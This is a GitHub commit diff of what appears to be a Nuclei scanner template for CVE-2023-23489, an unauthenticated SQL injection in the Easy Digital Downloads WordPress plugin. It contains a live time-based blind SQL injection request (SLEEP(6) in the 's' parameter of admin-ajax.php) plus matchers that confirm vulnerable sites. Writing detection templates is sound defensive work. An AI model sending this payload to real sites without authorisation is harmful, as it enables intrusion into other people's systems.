added matcher and request

patch-1
Ritik Chaddha 2023-02-17 08:40:18 +05:30 committed by GitHub
parent 025876b147
commit ab5aadd39b
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 8 additions and 9 deletions

View File

@ -6,19 +6,15 @@ info:
severity: critical severity: critical
description: | description: |
The Easy Digital Downloads WordPress Plugin, versions 3.1.0.2 & 3.1.0.3, is affected by an unauthenticated SQL injection vulnerability in the 's' parameter of its 'edd_download_search' action. The Easy Digital Downloads WordPress Plugin, versions 3.1.0.2 & 3.1.0.3, is affected by an unauthenticated SQL injection vulnerability in the 's' parameter of its 'edd_download_search' action.
remediation: Fixed in version 3.1.0.4
reference: reference:
- https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18 - https://wpscan.com/vulnerability/c5a6830c-6420-42fc-b20c-8e20224d6f18
- https://wordpress.org/plugins/easy-digital-downloads/ - https://wordpress.org/plugins/easy-digital-downloads/
- https://nvd.nist.gov/vuln/detail/CVE-2023-23489 - https://nvd.nist.gov/vuln/detail/CVE-2023-23489
classification: classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-23489 cve-id: CVE-2023-23489
cwe-id: CWE-89
metadata: metadata:
verified: "true" verified: "true"
tags: cve,cve2023,sqli,wpscan,wordpress,wp,easy-digital-downloads,unauth tags: cve,cve2023,sqli,wordpress,wp,wp-plugin,easy-digital-downloads,unauth
requests: requests:
- raw: - raw:
@ -27,11 +23,14 @@ requests:
GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1 GET /wp-admin/admin-ajax.php?action=edd_download_search&s=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
- |
GET /wp-content/plugins/easy-digital-downloads/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'duration>=6' - 'duration_1>=6'
- 'status_code == 200' - 'status_code_1 == 200'
- 'contains(content_type, "text/html")' - 'contains(body_1, "[]") && contains(body_2, "Easy Digital Downloads")'
- 'contains(body, "[]")'
condition: and condition: and